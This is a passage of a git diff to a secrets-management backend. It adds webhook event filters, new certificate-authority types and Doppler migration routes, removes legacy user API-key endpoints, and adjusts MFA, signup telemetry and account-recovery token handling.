+                eventName: z.enum([...SUBSCRIBABLE_WEBHOOK_EVENTS] as [
+                  TSubscribableWebhookEvent,
+                  ...TSubscribableWebhookEvent[]
+                ])
+              })
+            )
+            .optional()
+        })
+        .refine(({ isDisabled, eventsFilter }) => {
+          return isDisabled !== undefined || eventsFilter !== undefined;
+        }, "At least one field is required"),
       response: {
         200: z.object({
           message: z.string(),
@@ -132,7 +169,8 @@ export const registerWebhookRouter = async (server: FastifyZodProvider) => {
         actorAuthMethod: req.permission.authMethod,
         actorOrgId: req.permission.orgId,
         id: req.params.webhookId,
-        isDisabled: req.body.isDisabled
+        isDisabled: req.body.isDisabled,
+        eventsFilter: req.body.eventsFilter
       });
 
       await server.services.auditLog.createAuditLog({
@@ -144,7 +182,8 @@ export const registerWebhookRouter = async (server: FastifyZodProvider) => {
             environment: webhook.environment.slug,
             webhookId: webhook.id,
             isDisabled: webhook.isDisabled,
-            secretPath: webhook.secretPath
+            secretPath: webhook.secretPath,
+            eventsFilter: webhook.eventsFilter
           }
         }
       });
diff --git a/backend/src/server/routes/v2/certificate-authority-router.ts b/backend/src/server/routes/v2/certificate-authority-router.ts
index e5c9d5fd643..51fe7a20955 100644
--- a/backend/src/server/routes/v2/certificate-authority-router.ts
+++ b/backend/src/server/routes/v2/certificate-authority-router.ts
@@ -6,16 +6,22 @@ import { readLimit } from "@app/server/config/rateLimiter";
 import { verifyAuth } from "@app/server/plugins/auth/verify-auth";
 import { AuthMode } from "@app/services/auth/auth-type";
 import { AcmeCertificateAuthoritySchema } from "@app/services/certificate-authority/acme/acme-certificate-authority-schemas";
+import { AwsAcmPublicCaCertificateAuthoritySchema } from "@app/services/certificate-authority/aws-acm-public-ca/aws-acm-public-ca-certificate-authority-schemas";
 import { AwsPcaCertificateAuthoritySchema } from "@app/services/certificate-authority/aws-pca/aws-pca-certificate-authority-schemas";
 import { AzureAdCsCertificateAuthoritySchema } from "@app/services/certificate-authority/azure-ad-cs/azure-ad-cs-certificate-authority-schemas";
 import { CaType } from "@app/services/certificate-authority/certificate-authority-enums";
+import { DigiCertCertificateAuthoritySchema } from "@app/services/certificate-authority/digicert/digicert-certificate-authority-schemas";
 import { InternalCertificateAuthoritySchema } from "@app/services/certificate-authority/internal/internal-certificate-authority-schemas";
+import { VenafiTppCertificateAuthoritySchema } from "@app/services/certificate-authority/venafi-tpp/venafi-tpp-certificate-authority-schemas";
 
 const CertificateAuthoritySchema = z.discriminatedUnion("type", [
   InternalCertificateAuthoritySchema,
   AcmeCertificateAuthoritySchema,
   AzureAdCsCertificateAuthoritySchema,
-  AwsPcaCertificateAuthoritySchema
+  AwsPcaCertificateAuthoritySchema,
+  DigiCertCertificateAuthoritySchema,
+  AwsAcmPublicCaCertificateAuthoritySchema,
+  VenafiTppCertificateAuthoritySchema
 ]);
 
 export const registerCaRouter = async (server: FastifyZodProvider) => {
@@ -73,6 +79,30 @@ export const registerCaRouter = async (server: FastifyZodProvider) => {
         req.permission
       );
 
+      const digicertCas = await server.services.certificateAuthority.listCertificateAuthoritiesByProjectId(
+        {
+          projectId: req.query.projectId,
+          type: CaType.DIGICERT
+        },
+        req.permission
+      );
+
+      const awsAcmPublicCas = await server.services.certificateAuthority.listCertificateAuthoritiesByProjectId(
+        {
+          projectId: req.query.projectId,
+          type: CaType.AWS_ACM_PUBLIC_CA
+        },
+        req.permission
+      );
+
+      const venafiTppCas = await server.services.certificateAuthority.listCertificateAuthoritiesByProjectId(
+        {
+          projectId: req.query.projectId,
+          type: CaType.VENAFI_TPP
+        },
+        req.permission
+      );
+
       await server.services.auditLog.createAuditLog({
         ...req.auditLogInfo,
         projectId: req.query.projectId,
@@ -83,7 +113,10 @@ export const registerCaRouter = async (server: FastifyZodProvider) => {
               ...(internalCas ?? []).map((ca) => ca.id),
               ...(acmeCas ?? []).map((ca) => ca.id),
               ...(azureAdCsCas ?? []).map((ca) => ca.id),
-              ...(awsPcaCas ?? []).map((ca) => ca.id)
+              ...(awsPcaCas ?? []).map((ca) => ca.id),
+              ...(digicertCas ?? []).map((ca) => ca.id),
+              ...(awsAcmPublicCas ?? []).map((ca) => ca.id),
+              ...(venafiTppCas ?? []).map((ca) => ca.id)
             ]
           }
         }
@@ -94,7 +127,10 @@ export const registerCaRouter = async (server: FastifyZodProvider) => {
           ...(internalCas ?? []),
           ...(acmeCas ?? []),
           ...(azureAdCsCas ?? []),
-          ...(awsPcaCas ?? [])
+          ...(awsPcaCas ?? []),
+          ...(digicertCas ?? []),
+          ...(awsAcmPublicCas ?? []),
+          ...(venafiTppCas ?? [])
         ]
       };
     }
diff --git a/backend/src/server/routes/v2/mfa-router.ts b/backend/src/server/routes/v2/mfa-router.ts
index e85d09ffdfa..f8c6e5e2258 100644
--- a/backend/src/server/routes/v2/mfa-router.ts
+++ b/backend/src/server/routes/v2/mfa-router.ts
@@ -10,7 +10,7 @@ import { addAuthOriginDomainCookie } from "@app/server/lib/cookie";
 import { AuthModeMfaJwtTokenPayload, AuthTokenType, MfaMethod } from "@app/services/auth/auth-type";
 
 const handleMfaVerification = async (
-  req: FastifyRequest & { mfa: { userId: string; orgId?: string; user: TUsers } },
+  req: FastifyRequest & { mfa: { userId: string; orgId?: string; user: TUsers; requiredMfaMethod: MfaMethod } },
   res: FastifyReply,
   server: FastifyZodProvider,
   mfaToken: string,
@@ -31,6 +31,7 @@ const handleMfaVerification = async (
     orgId: req.mfa.orgId,
     mfaToken,
     mfaMethod,
+    requiredMfaMethod: req.mfa.requiredMfaMethod,
     isRecoveryCode
   });
 
@@ -72,7 +73,12 @@ export const registerMfaRouter = async (server: FastifyZodProvider) => {
 
     const user = await server.store.user.findById(decodedToken.userId);
     if (!user) throw new Error("User not found");
-    req.mfa = { userId: user.id, user, orgId: decodedToken.organizationId };
+    req.mfa = {
+      userId: user.id,
+      user,
+      orgId: decodedToken.organizationId,
+      requiredMfaMethod: decodedToken.requiredMfaMethod
+    };
   });
 
   server.route({
@@ -90,7 +96,7 @@ export const registerMfaRouter = async (server: FastifyZodProvider) => {
       }
     },
     handler: async (req) => {
-      await server.services.login.resendMfaToken(req.mfa.userId);
+      await server.services.login.resendMfaToken(req.mfa.userId, req.mfa.requiredMfaMethod);
       return { message: "Successfully send new mfa code" };
     }
   });
diff --git a/backend/src/server/routes/v2/user-router.ts b/backend/src/server/routes/v2/user-router.ts
index ac539549973..62810e5f304 100644
--- a/backend/src/server/routes/v2/user-router.ts
+++ b/backend/src/server/routes/v2/user-router.ts
@@ -1,7 +1,6 @@
 import { z } from "zod";
 
 import { AuthTokenSessionsSchema } from "@app/db/schemas";
-import { ApiKeysSchema } from "@app/db/schemas/api-keys";
 import { readLimit, smtpRateLimit, writeLimit } from "@app/server/config/rateLimiter";
 import { verifyAuth } from "@app/server/plugins/auth/verify-auth";
 import { AuthMethod, AuthMode, MfaMethod } from "@app/services/auth/auth-type";
@@ -193,75 +192,6 @@ export const registerUserRouter = async (server: FastifyZodProvider) => {
     }
   });
 
-  server.route({
-    method: "GET",
-    url: "/me/api-keys",
-    config: {
-      rateLimit: readLimit
-    },
-    schema: {
-      operationId: "listUserApiKeys",
-      response: {
-        200: ApiKeysSchema.omit({ secretHash: true }).array()
-      }
-    },
-    onRequest: verifyAuth([AuthMode.JWT]),
-    handler: async (req) => {
-      const apiKeys = await server.services.apiKey.getMyApiKeys(req.permission.id);
-      return apiKeys;
-    }
-  });
-
-  server.route({
-    method: "POST",
-    url: "/me/api-keys",
-    config: {
-      rateLimit: writeLimit
-    },
-    schema: {
-      operationId: "createUserApiKey",
-      body: z.object({
-        name: z.string().trim(),
-        expiresIn: z.number()
-      }),
-      response: {
-        200: z.object({
-          apiKey: z.string(),
-          apiKeyData: ApiKeysSchema.omit({ secretHash: true })
-        })
-      }
-    },
-    onRequest: verifyAuth([AuthMode.JWT]),
-    handler: async (req) => {
-      const apiKeys = await server.services.apiKey.createApiKey(req.permission.id, req.body.name, req.body.expiresIn);
-      return apiKeys;
-    }
-  });
-
-  server.route({
-    method: "DELETE",
-    url: "/me/api-keys/:apiKeyDataId",
-    config: {
-      rateLimit: writeLimit
-    },
-    schema: {
-      operationId: "deleteUserApiKey",
-      params: z.object({
-        apiKeyDataId: z.string().trim()
-      }),
-      response: {
-        200: z.object({
-          apiKeyData: ApiKeysSchema.omit({ secretHash: true })
-        })
-      }
-    },
-    onRequest: verifyAuth([AuthMode.JWT]),
-    handler: async (req) => {
-      const apiKeyData = await server.services.apiKey.deleteApiKey(req.permission.id, req.params.apiKeyDataId);
-      return { apiKeyData };
-    }
-  });
-
   server.route({
     method: "GET",
     url: "/me/sessions",
diff --git a/backend/src/server/routes/v3/external-migration-router.ts b/backend/src/server/routes/v3/external-migration-router.ts
index c44ecb4b181..59592bcfadf 100644
--- a/backend/src/server/routes/v3/external-migration-router.ts
+++ b/backend/src/server/routes/v3/external-migration-router.ts
@@ -1,13 +1,17 @@
 import fastifyMultipart from "@fastify/multipart";
 import { z } from "zod";
 
+import { EventType } from "@app/ee/services/audit-log/audit-log-types";
 import { BadRequestError } from "@app/lib/errors";
 import { readLimit, writeLimit } from "@app/server/config/rateLimiter";
 import { verifyAuth } from "@app/server/plugins/auth/verify-auth";
 import { AuthMode } from "@app/services/auth/auth-type";
 import {
-  ExternalMigrationProviders,
-  VaultImportStatus,
+  ExternalMigrationConfigSchema,
+  ExternalMigrationProviders
+} from "@app/services/external-migration/external-migration-schemas";
+import {
+  ExternalMigrationImportStatus,
   VaultMappingType
 } from "@app/services/external-migration/external-migration-types";
 
@@ -122,19 +126,22 @@ export const registerExternalMigrationRouter = async (server: FastifyZodProvider
 
   server.route({
     method: "GET",
-    url: "/vault/configs",
+    url: "/:provider/configs",
     config: {
       rateLimit: readLimit
     },
     schema: {
-      operationId: "getVaultExternalMigrationConfigsV3",
+      operationId: "getExternalMigrationConfigsV3",
+      params: z.object({
+        provider: z.nativeEnum(ExternalMigrationProviders)
+      }),
       response: {
         200: z.object({
           configs: z
             .object({
               id: z.string(),
               orgId: z.string(),
-              namespace: z.string(),
+              provider: z.string(),
               connectionId: z.string().nullish(),
               createdAt: z.date(),
               updatedAt: z.date()
@@ -145,8 +152,9 @@ export const registerExternalMigrationRouter = async (server: FastifyZodProvider
     },
     onRequest: verifyAuth([AuthMode.JWT]),
     handler: async (req) => {
-      const configs = await server.services.migration.getVaultExternalMigrationConfigs({
-        actor: req.permission
+      const configs = await server.services.migration.getExternalMigrationConfigs({
+        actor: req.permission,
+        provider: req.params.provider
       });
 
       return { configs };
@@ -155,23 +163,26 @@ export const registerExternalMigrationRouter = async (server: FastifyZodProvider
 
   server.route({
     method: "POST",
-    url: "/vault/configs",
+    url: "/:provider/configs",
     config: {
       rateLimit: writeLimit
     },
     schema: {
-      operationId: "createVaultExternalMigrationV3",
+      operationId: "createExternalMigrationV3",
+      params: z.object({
+        provider: z.nativeEnum(ExternalMigrationProviders)
+      }),
       body: z.object({
         connectionId: z.string(),
-        namespace: z.string()
+        input: ExternalMigrationConfigSchema
       }),
       response: {
         200: z.object({
           config: z.object({
             id: z.string(),
             orgId: z.string(),
-            namespace: z.string(),
-            connectionId: z.string().nullable().optional(),
+            provider: z.string(),
+            connectionId: z.string().nullish(),
             createdAt: z.date(),
             updatedAt: z.date()
           })
@@ -180,37 +191,52 @@ export const registerExternalMigrationRouter = async (server: FastifyZodProvider
     },
     onRequest: verifyAuth([AuthMode.JWT]),
     handler: async (req) => {
-      const config = await server.services.migration.createVaultExternalMigration({
-        ...req.body,
+      const config = await server.services.migration.createExternalMigration({
+        config: req.body.input,
+        connectionId: req.body.connectionId,
         actor: req.permission
       });
 
+      await server.services.auditLog.createAuditLog({
+        orgId: req.permission.orgId,
+        ...req.auditLogInfo,
+        event: {
+          type: EventType.EXTERNAL_MIGRATION_CREATE,
+          metadata: {
+            configId: config.id,
+            provider: req.params.provider,
+            connectionId: req.body.connectionId
+          }
+        }
+      });
+
       return { config };
     }
   });
 
   server.route({
     method: "PUT",
-    url: "/vault/configs/:id",
+    url: "/:provider/configs/:id",
     config: {
       rateLimit: writeLimit
     },
     schema: {
-      operationId: "updateVaultExternalMigrationV3",
+      operationId: "updateExternalMigrationV3",
       params: z.object({
+        provider: z.nativeEnum(ExternalMigrationProviders),
         id: z.string()
       }),
       body: z.object({
-        connectionId: z.string(),
-        namespace: z.string()
+        connectionId: z.string().nullable(),
+        input: ExternalMigrationConfigSchema
       }),
       response: {
         200: z.object({
           config: z.object({
             id: z.string(),
             orgId: z.string(),
-            namespace: z.string(),
-            connectionId: z.string().nullable().optional(),
+            provider: z.string(),
+            connectionId: z.string().nullish(),
             createdAt: z.date(),
             updatedAt: z.date()
           })
@@ -219,25 +245,40 @@ export const registerExternalMigrationRouter = async (server: FastifyZodProvider
     },
     onRequest: verifyAuth([AuthMode.JWT]),
     handler: async (req) => {
-      const config = await server.services.migration.updateVaultExternalMigration({
+      const config = await server.services.migration.updateExternalMigration({
         id: req.params.id,
-        ...req.body,
+        config: req.body.input,
+        connectionId: req.body.connectionId,
         actor: req.permission
       });
 
+      await server.services.auditLog.createAuditLog({
+        orgId: req.permission.orgId,
+        ...req.auditLogInfo,
+        event: {
+          type: EventType.EXTERNAL_MIGRATION_UPDATE,
+          metadata: {
+            configId: req.params.id,
+            provider: req.params.provider,
+            connectionId: req.body.connectionId
+          }
+        }
+      });
+
       return { config };
     }
   });
 
   server.route({
     method: "DELETE",
-    url: "/vault/configs/:id",
+    url: "/:provider/configs/:id",
     config: {
       rateLimit: writeLimit
     },
     schema: {
-      operationId: "deleteVaultExternalMigrationV3",
+      operationId: "deleteExternalMigrationV3",
       params: z.object({
+        provider: z.nativeEnum(ExternalMigrationProviders),
         id: z.string()
       }),
       response: {
@@ -245,8 +286,8 @@ export const registerExternalMigrationRouter = async (server: FastifyZodProvider
           config: z.object({
             id: z.string(),
             orgId: z.string(),
-            namespace: z.string(),
-            connectionId: z.string().nullable().optional(),
+            provider: z.string(),
+            connectionId: z.string().nullish(),
             createdAt: z.date(),
             updatedAt: z.date()
           })
@@ -255,11 +296,23 @@ export const registerExternalMigrationRouter = async (server: FastifyZodProvider
     },
     onRequest: verifyAuth([AuthMode.JWT]),
     handler: async (req) => {
-      const config = await server.services.migration.deleteVaultExternalMigration({
+      const config = await server.services.migration.deleteExternalMigration({
         id: req.params.id,
         actor: req.permission
       });
 
+      await server.services.auditLog.createAuditLog({
+        orgId: req.permission.orgId,
+        ...req.auditLogInfo,
+        event: {
+          type: EventType.EXTERNAL_MIGRATION_DELETE,
+          metadata: {
+            configId: req.params.id,
+            provider: req.params.provider
+          }
+        }
+      });
+
       return { config };
     }
   });
@@ -274,7 +327,7 @@ export const registerExternalMigrationRouter = async (server: FastifyZodProvider
       operationId: "getVaultNamespacesV3",
       response: {
         200: z.object({
-          namespaces: z.array(z.object({ id: z.string(), name: z.string() }))
+          namespaces: z.array(z.object({ id: z.string().nullish(), name: z.string().nullish() }))
         })
       }
     },
@@ -387,11 +440,11 @@ export const registerExternalMigrationRouter = async (server: FastifyZodProvider
         environment: z.string(),
         secretPath: z.string(),
         vaultNamespace: z.string(),
-        vaultSecretPath: z.string()
+        vaultSecretPaths: z.array(z.string()).min(1)
       }),
       response: {
         200: z.object({
-          status: z.nativeEnum(VaultImportStatus)
+          status: z.nativeEnum(ExternalMigrationImportStatus)
         })
       }
     },
@@ -639,4 +692,135 @@ export const registerExternalMigrationRouter = async (server: FastifyZodProvider
       return { roles };
     }
   });
+
+  // ─── Doppler In-Platform Migration Routes ────────────────────────────────────
+
+  server.route({
+    method: "GET",
+    url: "/doppler/projects",
+    config: { rateLimit: readLimit },
+    schema: {
+      operationId: "getDopplerProjectsV3",
+      querystring: z.object({ configId: z.string().uuid() }),
+      response: {
+        200: z.object({
+          projects: z
+            .object({
+              id: z.string(),
+              slug: z.string(),
+              name: z.string(),
+              description: z.string().nullish()
+            })
+            .array()
+        })
+      }
+    },
+    onRequest: verifyAuth([AuthMode.JWT]),
+    handler: async (req) => {
+      const projects = await server.services.migration.getDopplerProjects({
+        configId: req.query.configId,
+        actor: req.permission
+      });
+      return { projects };
+    }
+  });
+
+  server.route({
+    method: "GET",
+    url: "/doppler/environments",
+    config: { rateLimit: readLimit },
+    schema: {
+      operationId: "getDopplerEnvironmentsV3",
+      querystring: z.object({
+        configId: z.string().uuid(),
+        projectSlug: z.string().min(1)
+      }),
+      response: {
+        200: z.object({
+          environments: z
+            .object({
+              id: z.string(),
+              slug: z.string(),
+              name: z.string(),
+              project: z.string(),
+              parentId: z.string().nullish()
+            })
+            .array()
+        })
+      }
+    },
+    onRequest: verifyAuth([AuthMode.JWT]),
+    handler: async (req) => {
+      const environments = await server.services.migration.getDopplerEnvironments({
+        configId: req.query.configId,
+        projectSlug: req.query.projectSlug,
+        actor: req.permission
+      });
+      return { environments };
+    }
+  });
+
+  server.route({
+    method: "GET",
+    url: "/doppler/doppler-configs",
+    config: { rateLimit: readLimit },
+    schema: {
+      operationId: "getDopplerConfigsV3",
+      querystring: z.object({
+        configId: z.string().uuid(),
+        projectSlug: z.string().min(1)
+      }),
+      response: {
+        200: z.object({
+          configs: z
+            .object({
+              name: z.string(),
+              root: z.boolean(),
+              locked: z.boolean(),
+              environment: z.string(),
+              project: z.string()
+            })
+            .array()
+        })
+      }
+    },
+    onRequest: verifyAuth([AuthMode.JWT]),
+    handler: async (req) => {
+      const configs = await server.services.migration.getDopplerConfigs({
+        configId: req.query.configId,
+        projectSlug: req.query.projectSlug,
+        actor: req.permission
+      });
+      return { configs };
+    }
+  });
+
+  server.route({
+    method: "POST",
+    url: "/doppler/import-secrets",
+    config: { rateLimit: writeLimit },
+    schema: {
+      operationId: "importDopplerSecretsV3",
+      body: z.object({
+        configId: z.string().uuid(),
+        dopplerProject: z.string().min(1),
+        dopplerEnvironment: z.string().min(1),
+        targetProjectId: z.string().min(1),
+        targetEnvironment: z.string().min(1),
+        targetSecretPath: z.string().min(1).default("/")
+      }),
+      response: {
+        200: z.object({ status: z.string(), imported: z.number() })
+      }
+    },
+    onRequest: verifyAuth([AuthMode.JWT]),
+    handler: async (req) => {
+      const result = await server.services.migration.importDopplerSecrets({
+        ...req.body,
+        actor: req.permission,
+        auditLogInfo: req.auditLogInfo
+      });
+      return result;
+    }
+  });
 };
diff --git a/backend/src/server/routes/v3/index.ts b/backend/src/server/routes/v3/index.ts
index c770d089010..6df801082cb 100644
--- a/backend/src/server/routes/v3/index.ts
+++ b/backend/src/server/routes/v3/index.ts
@@ -3,12 +3,10 @@ import { registerDeprecatedSecretRouter } from "./deprecated-secret-router";
 import { registerExternalMigrationRouter } from "./external-migration-router";
 import { registerLoginRouter } from "./login-router";
 import { registerSignupRouter } from "./signup-router";
-import { registerUserRouter } from "./user-router";
 
 export const registerV3Routes = async (server: FastifyZodProvider) => {
   await server.register(registerSignupRouter, { prefix: "/signup" });
   await server.register(registerLoginRouter, { prefix: "/auth" });
-  await server.register(registerUserRouter, { prefix: "/users" });
   await server.register(registerDeprecatedSecretRouter, { prefix: "/secrets" });
   await server.register(registerExternalMigrationRouter, { prefix: "/external-migration" });
   await server.register(registerCertificatesRouter, { prefix: "/pki/certificates" });
diff --git a/backend/src/server/routes/v3/login-router.ts b/backend/src/server/routes/v3/login-router.ts
index a13a814ec62..eed36d57bdd 100644
--- a/backend/src/server/routes/v3/login-router.ts
+++ b/backend/src/server/routes/v3/login-router.ts
@@ -5,8 +5,10 @@ import { getConfig } from "@app/lib/config/env";
 import { UnauthorizedError } from "@app/lib/errors";
 import { authRateLimit } from "@app/server/config/rateLimiter";
 import { addAuthOriginDomainCookie } from "@app/server/lib/cookie";
+import { getUserAgentType } from "@app/server/plugins/audit-log";
 import { verifyAuth } from "@app/server/plugins/auth/verify-auth";
 import { AuthMode } from "@app/services/auth/auth-type";
+import { PostHogEventTypes } from "@app/services/telemetry/telemetry-types";
 
 export const registerLoginRouter = async (server: FastifyZodProvider) => {
   server.route({
@@ -176,6 +178,15 @@ export const registerLoginRouter = async (server: FastifyZodProvider) => {
           },
           { skipDedup: true }
         );
+
+        void server.services.telemetry.sendPostHogEvents({
+          event: PostHogEventTypes.UserLoginV2,
+          distinctId: loginDistinctId,
+          properties: {
+            email: req.body.email,
+            channel: getUserAgentType(userAgent)
+          }
+        });
       }
 
       void res.setCookie("jid", tokens.refreshToken, {
diff --git a/backend/src/server/routes/v3/signup-router.ts b/backend/src/server/routes/v3/signup-router.ts
index c6b079746da..033dae9d54a 100644
--- a/backend/src/server/routes/v3/signup-router.ts
+++ b/backend/src/server/routes/v3/signup-router.ts
@@ -106,11 +106,13 @@ export const registerSignupRouter = async (server: FastifyZodProvider) => {
           lastName: z.string().trim().optional(),
           attributionSource: z.string().trim().optional(),
           password: z.string(),
-          organizationName: GenericResourceNameSchema.optional()
+          organizationName: GenericResourceNameSchema.optional(),
+          hubspotUtk: z.string().trim().max(512).optional()
         }),
         z.object({
           type: z.literal(CompleteAccountType.Alias),
-          code: z.string().trim()
+          code: z.string().trim(),
+          hubspotUtk: z.string().trim().max(512).optional()
         })
       ]),
       response: {
@@ -126,7 +128,7 @@ export const registerSignupRouter = async (server: FastifyZodProvider) => {
       if (!userAgent) throw new Error("user agent header is required");
       const appCfg = getConfig();
 
-      const { user, accessToken, refreshToken, authMethod, organizationId } =
+      const { user, accessToken, refreshToken, authMethod, organizationId, isInvitedUser } =
         await server.services.signup.completeAccount({
           ...req.body,
           ip: req.realIp,
@@ -138,12 +140,14 @@ export const registerSignupRouter = async (server: FastifyZodProvider) => {
         void server.services.telemetry.sendLoopsEvent(user.email, user.firstName || "", user.lastName || "");
         void server.services.telemetry.sendHubSpotSignupEvent(
           user.email,
-          authMethod,
+          isInvitedUser ? "invite" : authMethod,
           user.firstName || "",
-          user.lastName || ""
+          user.lastName || "",
+          req.body.hubspotUtk
         );
       }
 
+      const bodyAttributionSource = "attributionSource" in req.body ? req.body.attributionSource : undefined;
       void server.services.telemetry.sendPostHogEvents({
         event: PostHogEventTypes.UserSignedUp,
         distinctId: user.username ?? "",
@@ -151,7 +155,7 @@ export const registerSignupRouter = async (server: FastifyZodProvider) => {
         properties: {
           username: user.username,
           email: user.email ?? "",
-          attributionSource: "attributionSource" in req.body ? req.body.attributionSource : undefined
+          attributionSource: isInvitedUser ? "Team Invite" : bodyAttributionSource
         }
       });
 
diff --git a/backend/src/server/routes/v3/user-router.ts b/backend/src/server/routes/v3/user-router.ts
deleted file mode 100644
index 41d7dce0868..00000000000
--- a/backend/src/server/routes/v3/user-router.ts
+++ /dev/null
@@ -1,29 +0,0 @@
-import { z } from "zod";
-
-import { ApiKeysSchema } from "@app/db/schemas/api-keys";
-import { readLimit } from "@app/server/config/rateLimiter";
-import { verifyAuth } from "@app/server/plugins/auth/verify-auth";
-import { AuthMode } from "@app/services/auth/auth-type";
-
-export const registerUserRouter = async (server: FastifyZodProvider) => {
-  server.route({
-    method: "GET",
-    url: "/me/api-keys",
-    config: {
-      rateLimit: readLimit
-    },
-    schema: {
-      operationId: "getMyApiKeysV3",
-      response: {
-        200: z.object({
-          apiKeyData: ApiKeysSchema.omit({ secretHash: true }).array()
-        })
-      }
-    },
-    onRequest: verifyAuth([AuthMode.JWT]),
-    handler: async (req) => {
-      const apiKeyData = await server.services.apiKey.getMyApiKeys(req.permission.id);
-      return { apiKeyData };
-    }
-  });
-};
diff --git a/backend/src/services/account-recovery/account-recovery-service.ts b/backend/src/services/account-recovery/account-recovery-service.ts
index b37247e654c..c773f888a8f 100644
--- a/backend/src/services/account-recovery/account-recovery-service.ts
+++ b/backend/src/services/account-recovery/account-recovery-service.ts
@@ -112,7 +112,7 @@ export const accountRecoveryServiceFactory = ({
 
     const token = crypto.jwt().sign(
       {
-        authTokenType: AuthTokenType.SIGNUP_TOKEN,
+        authTokenType: AuthTokenType.ACCOUNT_RECOVERY_TOKEN,
         userId: user.id
       },
       cfg.AUTH_SECRET,
diff --git a/backend/src/services/additional-privilege/project/project-additional-privilege-factory.ts b/backend/src/services/additional-privilege/project/project-additional-privilege-factory.ts
index 9fbc7f665fc..6dedc7fdddc 100644
--- a/backend/src/services/additional-privilege/project/project-additional-privilege-factory.ts
+++ b/backend/src/services/additional-privilege/project/project-additional-privilege-factory.ts
@@ -13,6 +13,8 @@ import {
   ProjectPermissionSub
 } from "@app/ee/services/permission/project-permission";
 import { BadRequestError, NotFoundError, PermissionBoundaryError } from "@app/lib/errors";
+import { requestMemoKeys } from "@app/lib/request-context/memo-keys";
+import { requestMemoize } from "@app/lib/request-context/request-memoizer";
 import { OrgServiceActor } from "@app/lib/types";
 import { unpackPermissions } from "@app/server/routes/sanitizedSchema/permission";
 import { ActorType } from "@app/services/auth/auth-type";
@@ -413,7 +415,10 @@ export const newProjectAdditionalPrivilegesFactory = ({
           : ([ProjectPermissionIdentityActions.Edit, ProjectPermissionSub.Identity] as const);
       ForbiddenError.from(permission).throwUnlessCan(...permissionSet);
 
-      const { shouldUseNewPrivilegeSystem } = await orgDAL.findById(dto.permission.orgId);
+      const { shouldUseNewPrivilegeSystem } = await requestMemoize(
+        requestMemoKeys.orgFindById(dto.permission.orgId),
+        () => orgDAL.findById(dto.permission.orgId)
+      );
       const { permission: targetUserPermission, memberships } = await $getPermission(
         { ...dto.permission, type: actorType, id: actorId },
         scope.value
@@ -454,7 +459,10 @@ export const newProjectAdditionalPrivilegesFactory = ({
           : ([ProjectPermissionIdentityActions.Edit, ProjectPermissionSub.Identity] as const);
       ForbiddenError.from(permission).throwUnlessCan(...permissionSet);
 
-      const { shouldUseNewPrivilegeSystem } = await orgDAL.findById(dto.permission.orgId);
+      const { shouldUseNewPrivilegeSystem } = await requestMemoize(
+        requestMemoKeys.orgFindById(dto.permission.orgId),
+        () => orgDAL.findById(dto.permission.orgId)
+      );
       const { permission: targetUserPermission, memberships } = await $getPermission(
         { ...dto.permission, type: actorType, id: actorId },
         scope.value
diff --git a/backend/src/services/api-key/api-key-dal.ts b/backend/src/services/api-key/api-key-dal.ts
deleted file mode 100644
index 128adc7013f..00000000000
--- a/backend/src/services/api-key/api-key-dal.ts
+++ /dev/null
@@ -1,7 +0,0 @@
-import { TDbClient } from "@app/db";
-import { TableName } from "@app/db/schemas";
-import { ormify } from "@app/lib/knex";
-
-export type TApiKeyDALFactory = ReturnType<typeof apiKeyDALFactory>;
-
-export const apiKeyDALFactory = (db: TDbClient) => ormify(db, TableName.ApiKey);
diff --git a/backend/src/services/api-key/api-key-service.ts b/backend/src/services/api-key/api-key-service.ts
deleted file mode 100644
index b928bbd6de6..00000000000
--- a/backend/src/services/api-key/api-key-service.ts
+++ /dev/null
@@ -1,72 +0,0 @@
-import { TApiKeys } from "@app/db/schemas/api-keys";
-import { getConfig } from "@app/lib/config/env";
-import { crypto } from "@app/lib/crypto/cryptography";
-import { NotFoundError, UnauthorizedError } from "@app/lib/errors";
-
-import { TUserDALFactory } from "../user/user-dal";
-import { TApiKeyDALFactory } from "./api-key-dal";
-
-type TApiKeyServiceFactoryDep = {
-  apiKeyDAL: TApiKeyDALFactory;
-  userDAL: Pick<TUserDALFactory, "findById">;
-};
-
-export type TApiKeyServiceFactory = ReturnType<typeof apiKeyServiceFactory>;
-
-const formatApiKey = ({ secretHash, ...data }: TApiKeys) => data;
-
-export const apiKeyServiceFactory = ({ apiKeyDAL, userDAL }: TApiKeyServiceFactoryDep) => {
-  const getMyApiKeys = async (userId: string) => {
-    const apiKeys = await apiKeyDAL.find({ userId });
-    return apiKeys.map((key) => formatApiKey(key));
-  };
-
-  const createApiKey = async (userId: string, name: string, expiresIn: number) => {
-    const appCfg = getConfig();
-    const secret = crypto.randomBytes(16).toString("hex");
-    const secretHash = await crypto.hashing().createHash(secret, appCfg.SALT_ROUNDS);
-    const expiresAt = new Date();
-    expiresAt.setSeconds(expiresAt.getSeconds() + expiresIn);
-
-    const apiKeyData = await apiKeyDAL.create({
-      userId,
-      name,
-      expiresAt,
-      secretHash,
-      lastUsed: new Date()
-    });
-    const apiKey = `ak.${apiKeyData.id}.${secret}`;
-
-    return { apiKey, apiKeyData: formatApiKey(apiKeyData) };
-  };
-
-  const deleteApiKey = async (userId: string, apiKeyId: string) => {
-    const [apiKeyData] = await apiKeyDAL.delete({ id: apiKeyId, userId });
-    if (!apiKeyData) throw new NotFoundError({ message: `API key with ID '${apiKeyId}' not found` });
-    return formatApiKey(apiKeyData);
-  };
-
-  const fnValidateApiKey = async (token: string) => {
-    const [, TOKEN_IDENTIFIER, TOKEN_SECRET] = <[string, string, string]>token.split(".", 3);
-    const apiKey = await apiKeyDAL.findById(TOKEN_IDENTIFIER);
-    if (!apiKey) throw new UnauthorizedError();
-
-    if (apiKey.expiresAt && new Date(apiKey.expiresAt) < new Date()) {
-      await apiKeyDAL.deleteById(apiKey.id);
-      throw new UnauthorizedError();
-    }
-
-    const isMatch = await crypto.hashing().compareHash(TOKEN_SECRET, apiKey.secretHash);
-    if (!isMatch) throw new UnauthorizedError();
-    await apiKeyDAL.updateById(apiKey.id, { lastUsed: new Date() });
-    const user = await userDAL.findById(apiKey.userId);
-    return user;
-  };
-
-  return {
-    getMyApiKeys,
-    createApiKey,
-    deleteApiKey,
-    fnValidateApiKey
-  };
-};
diff --git a/backend/src/services/api-key/api-key-types.ts b/backend/src/services/api-key/api-key-types.ts
deleted file mode 100644
index e69de29bb2d..00000000000
diff --git a/backend/src/services/app-connection/app-connection-enums.ts b/backend/src/services/app-connection/app-connection-enums.ts
index fe4dcf4d06c..9699f93854e 100644
--- a/backend/src/services/app-connection/app-connection-enums.ts
+++ b/backend/src/services/app-connection/app-connection-enums.ts
@@ -52,9 +52,14 @@ export enum AppConnection {
   CircleCI = "circleci",
   AzureEntraId = "azure-entra-id",
